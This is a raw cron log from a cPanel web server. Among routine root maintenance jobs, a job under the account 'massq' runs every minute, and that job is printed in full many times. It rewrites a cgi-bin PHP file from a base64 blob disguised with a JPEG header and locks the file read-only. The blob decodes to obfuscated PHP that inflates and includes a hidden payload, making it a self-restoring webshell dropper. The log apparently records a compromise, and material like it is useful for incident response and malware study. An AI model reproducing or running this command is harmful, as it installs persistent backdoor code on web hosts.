Nov 12 02:33:01 server CROND[26360]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 02:34:02 server CROND[27190]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 02:35:01 server CROND[28007]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 12 02:35:01 server CROND[28009]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 02:35:01 server CROND[28011]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 12 02:35:01 server CROND[28012]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 02:35:01 server CROND[28010]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 02:36:01 server CROND[28901]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 02:37:01 server CROND[29842]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 02:38:01 server CROND[30672]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 02:39:01 server CROND[31669]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 12 02:39:01 server CROND[31670]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 02:40:01 server CROND[32505]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 02:40:01 server CROND[32507]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 02:40:01 server CROND[32508]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 02:40:01 server CROND[32510]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 02:41:01 server CROND[636]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 02:42:01 server CROND[1397]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 12 02:42:01 server CROND[1398]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 02:43:01 server CROND[2241]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 02:44:01 server CROND[3075]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 02:45:01 server CROND[3875]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 02:45:01 server CROND[3877]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 02:45:01 server CROND[3876]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
